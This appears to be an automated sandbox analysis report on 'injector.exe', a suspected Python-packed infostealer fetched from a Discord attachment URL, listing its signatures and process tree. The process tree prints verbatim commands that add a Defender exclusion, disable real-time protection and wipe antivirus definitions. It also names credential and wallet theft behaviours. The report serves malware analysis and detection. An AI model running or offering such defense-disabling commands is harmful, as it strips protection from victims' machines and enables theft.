Analysis
-
max time kernel
92s -
max time network
71s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:37
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://cdn.discordapp.com/attachments/1242657054506877002/1242936957974089960/injector.exe?ex=664fa6bf&is=664e553f&hm=b655e26ed24454dc02e4bac653af0b8d7eff7407dbff0b6c6d2be80546a3393c&
Resource
win10v2004-20240426-en
General
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepid process 6036 powershell.exe 3044 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
injector.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts injector.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Executes dropped EXE 3 IoCs
Processes:
injector.exeinjector.exerar.exepid process 1820 injector.exe 6112 injector.exe 7052 rar.exe -
Loads dropped DLL 18 IoCs
Processes:
injector.exepid process 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe 6112 injector.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI18202\python312.dll upx behavioral1/memory/6112-201-0x00007FFE94570000-0x00007FFE94C48000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI18202\_ctypes.pyd upx behavioral1/memory/6112-206-0x00007FFEA8F10000-0x00007FFEA8F35000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI18202\libffi-8.dll upx behavioral1/memory/6112-242-0x00007FFEA8F00000-0x00007FFEA8F0F000-memory.dmp upx behavioral1/memory/6112-247-0x00007FFEA8ED0000-0x00007FFEA8EFD000-memory.dmp upx behavioral1/memory/6112-250-0x00007FFE94DD0000-0x00007FFE94F46000-memory.dmp upx behavioral1/memory/6112-249-0x00007FFEA8E80000-0x00007FFEA8EA4000-memory.dmp upx behavioral1/memory/6112-248-0x00007FFEA8EB0000-0x00007FFEA8EC9000-memory.dmp upx behavioral1/memory/6112-252-0x00007FFEA8C20000-0x00007FFEA8C2D000-memory.dmp upx behavioral1/memory/6112-251-0x00007FFEA8C30000-0x00007FFEA8C49000-memory.dmp upx behavioral1/memory/6112-253-0x00007FFE98060000-0x00007FFE98093000-memory.dmp upx behavioral1/memory/6112-257-0x00007FFE93950000-0x00007FFE93E72000-memory.dmp upx behavioral1/memory/6112-255-0x00007FFE97F90000-0x00007FFE9805D000-memory.dmp upx behavioral1/memory/6112-260-0x00007FFE969E0000-0x00007FFE969ED000-memory.dmp upx behavioral1/memory/6112-261-0x00007FFE94260000-0x00007FFE9437B000-memory.dmp upx behavioral1/memory/6112-259-0x00007FFE969F0000-0x00007FFE96A04000-memory.dmp upx behavioral1/memory/6112-258-0x00007FFEA8F10000-0x00007FFEA8F35000-memory.dmp upx behavioral1/memory/6112-254-0x00007FFE94570000-0x00007FFE94C48000-memory.dmp upx behavioral1/memory/6112-348-0x00007FFEA8E80000-0x00007FFEA8EA4000-memory.dmp upx behavioral1/memory/6112-371-0x00007FFE98060000-0x00007FFE98093000-memory.dmp upx behavioral1/memory/6112-372-0x00007FFE97F90000-0x00007FFE9805D000-memory.dmp upx behavioral1/memory/6112-377-0x00007FFE94DD0000-0x00007FFE94F46000-memory.dmp upx behavioral1/memory/6112-373-0x00007FFE93950000-0x00007FFE93E72000-memory.dmp upx behavioral1/memory/6112-376-0x00007FFE94260000-0x00007FFE9437B000-memory.dmp upx behavioral1/memory/6112-362-0x00007FFE94570000-0x00007FFE94C48000-memory.dmp upx behavioral1/memory/6112-363-0x00007FFEA8F10000-0x00007FFEA8F35000-memory.dmp upx behavioral1/memory/6112-402-0x00007FFE94260000-0x00007FFE9437B000-memory.dmp upx behavioral1/memory/6112-410-0x00007FFEA8C30000-0x00007FFEA8C49000-memory.dmp upx behavioral1/memory/6112-412-0x00007FFE98060000-0x00007FFE98093000-memory.dmp upx behavioral1/memory/6112-411-0x00007FFE93950000-0x00007FFE93E72000-memory.dmp upx behavioral1/memory/6112-409-0x00007FFEA8ED0000-0x00007FFEA8EFD000-memory.dmp upx behavioral1/memory/6112-408-0x00007FFEA8E80000-0x00007FFEA8EA4000-memory.dmp upx behavioral1/memory/6112-407-0x00007FFEA8EB0000-0x00007FFEA8EC9000-memory.dmp upx behavioral1/memory/6112-406-0x00007FFE94DD0000-0x00007FFE94F46000-memory.dmp upx behavioral1/memory/6112-405-0x00007FFEA8F00000-0x00007FFEA8F0F000-memory.dmp upx behavioral1/memory/6112-404-0x00007FFEA8F10000-0x00007FFEA8F35000-memory.dmp upx behavioral1/memory/6112-403-0x00007FFEA8C20000-0x00007FFEA8C2D000-memory.dmp upx behavioral1/memory/6112-401-0x00007FFE969E0000-0x00007FFE969ED000-memory.dmp upx behavioral1/memory/6112-400-0x00007FFE969F0000-0x00007FFE96A04000-memory.dmp upx behavioral1/memory/6112-388-0x00007FFE94570000-0x00007FFE94C48000-memory.dmp upx behavioral1/memory/6112-398-0x00007FFE97F90000-0x00007FFE9805D000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 88 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exepid process 5752 tasklist.exe 4140 tasklist.exe 2528 tasklist.exe 6628 tasklist.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 20 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 6888 taskkill.exe 6320 taskkill.exe 5944 taskkill.exe 6704 taskkill.exe 4860 taskkill.exe 6996 taskkill.exe 7140 taskkill.exe 5064 taskkill.exe 6300 taskkill.exe 5416 taskkill.exe 2416 taskkill.exe 4048 taskkill.exe 6940 taskkill.exe 392 taskkill.exe 6164 taskkill.exe 6056 taskkill.exe 6912 taskkill.exe 7024 taskkill.exe 1248 taskkill.exe 6736 taskkill.exe -
Modifies registry class 1 IoCs
Processes:
msedge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings msedge.exe -
NTFS ADS 1 IoCs
Processes:
msedge.exedescription ioc process File opened for modification C:\Users\Admin\Downloads\Unconfirmed 274929.crdownload:SmartScreen msedge.exe -
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
msedge.exemsedge.exeidentity_helper.exemsedge.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4272 msedge.exe 4272 msedge.exe 1904 msedge.exe 1904 msedge.exe 2228 identity_helper.exe 2228 identity_helper.exe 5284 msedge.exe 5284 msedge.exe 3044 powershell.exe 3044 powershell.exe 3044 powershell.exe 2880 powershell.exe 2880 powershell.exe 2880 powershell.exe 5416 powershell.exe 5416 powershell.exe 6036 powershell.exe 6036 powershell.exe 5416 powershell.exe 6036 powershell.exe 6248 powershell.exe 6248 powershell.exe 6248 powershell.exe 6648 powershell.exe 6648 powershell.exe 6648 powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
Processes:
msedge.exepid process 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exetasklist.exetasklist.exeWMIC.exetasklist.exepowershell.exepowershell.exetasklist.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 3044 powershell.exe Token: SeDebugPrivilege 2880 powershell.exe Token: SeDebugPrivilege 5752 tasklist.exe Token: SeDebugPrivilege 4140 tasklist.exe Token: SeIncreaseQuotaPrivilege 2396 WMIC.exe Token: SeSecurityPrivilege 2396 WMIC.exe Token: SeTakeOwnershipPrivilege 2396 WMIC.exe Token: SeLoadDriverPrivilege 2396 WMIC.exe Token: SeSystemProfilePrivilege 2396 WMIC.exe Token: SeSystemtimePrivilege 2396 WMIC.exe Token: SeProfSingleProcessPrivilege 2396 WMIC.exe Token: SeIncBasePriorityPrivilege 2396 WMIC.exe Token: SeCreatePagefilePrivilege 2396 WMIC.exe Token: SeBackupPrivilege 2396 WMIC.exe Token: SeRestorePrivilege 2396 WMIC.exe Token: SeShutdownPrivilege 2396 WMIC.exe Token: SeDebugPrivilege 2396 WMIC.exe Token: SeSystemEnvironmentPrivilege 2396 WMIC.exe Token: SeRemoteShutdownPrivilege 2396 WMIC.exe Token: SeUndockPrivilege 2396 WMIC.exe Token: SeManageVolumePrivilege 2396 WMIC.exe Token: 33 2396 WMIC.exe Token: 34 2396 WMIC.exe Token: 35 2396 WMIC.exe Token: 36 2396 WMIC.exe Token: SeDebugPrivilege 2528 tasklist.exe Token: SeDebugPrivilege 5416 powershell.exe Token: SeIncreaseQuotaPrivilege 2396 WMIC.exe Token: SeSecurityPrivilege 2396 WMIC.exe Token: SeTakeOwnershipPrivilege 2396 WMIC.exe Token: SeLoadDriverPrivilege 2396 WMIC.exe Token: SeSystemProfilePrivilege 2396 WMIC.exe Token: SeSystemtimePrivilege 2396 WMIC.exe Token: SeProfSingleProcessPrivilege 2396 WMIC.exe Token: SeIncBasePriorityPrivilege 2396 WMIC.exe Token: SeCreatePagefilePrivilege 2396 WMIC.exe Token: SeBackupPrivilege 2396 WMIC.exe Token: SeRestorePrivilege 2396 WMIC.exe Token: SeShutdownPrivilege 2396 WMIC.exe Token: SeDebugPrivilege 2396 WMIC.exe Token: SeSystemEnvironmentPrivilege 2396 WMIC.exe Token: SeRemoteShutdownPrivilege 2396 WMIC.exe Token: SeUndockPrivilege 2396 WMIC.exe Token: SeManageVolumePrivilege 2396 WMIC.exe Token: 33 2396 WMIC.exe Token: 34 2396 WMIC.exe Token: 35 2396 WMIC.exe Token: 36 2396 WMIC.exe Token: SeDebugPrivilege 6036 powershell.exe Token: SeDebugPrivilege 6628 tasklist.exe Token: SeDebugPrivilege 6888 taskkill.exe Token: SeDebugPrivilege 7024 taskkill.exe Token: SeDebugPrivilege 7140 taskkill.exe Token: SeDebugPrivilege 6164 taskkill.exe Token: SeDebugPrivilege 5064 taskkill.exe Token: SeDebugPrivilege 1248 taskkill.exe Token: SeDebugPrivilege 6320 taskkill.exe Token: SeDebugPrivilege 6300 taskkill.exe Token: SeDebugPrivilege 5416 taskkill.exe Token: SeDebugPrivilege 5944 taskkill.exe Token: SeDebugPrivilege 6704 taskkill.exe Token: SeDebugPrivilege 6736 taskkill.exe Token: SeDebugPrivilege 2416 taskkill.exe Token: SeDebugPrivilege 4860 taskkill.exe -
Suspicious use of FindShellTrayWindow 38 IoCs
Processes:
msedge.exemshta.exepid process 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 456 mshta.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe 1904 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
msedge.exedescription pid process target process PID 1904 wrote to memory of 728 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 728 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 2404 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 4272 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 4272 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe PID 1904 wrote to memory of 384 1904 msedge.exe msedge.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 6308 attrib.exe 6472 attrib.exe
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1242657054506877002/1242936957974089960/injector.exe?ex=664fa6bf&is=664e553f&hm=b655e26ed24454dc02e4bac653af0b8d7eff7407dbff0b6c6d2be80546a3393c&1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffea93746f8,0x7ffea9374708,0x7ffea93747182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2036 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5528 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5580 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6056 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6216 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2016,13337495699336389443,13233135513034857455,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5848 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultad6fb439h75b9h4215hbc1chd2b83dd6e1711⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffea93746f8,0x7ffea9374708,0x7ffea93747182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,9793388130862331282,8366939917903041388,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:32⤵
-
C:\Users\Admin\Downloads\injector.exe"C:\Users\Admin\Downloads\injector.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\injector.exe"C:\Users\Admin\Downloads\injector.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\injector.exe'"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\injector.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('whitelisted', 0, 'injector', 16+16);close()""3⤵
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('whitelisted', 0, 'injector', 16+16);close()"4⤵
- Suspicious use of FindShellTrayWindow
-
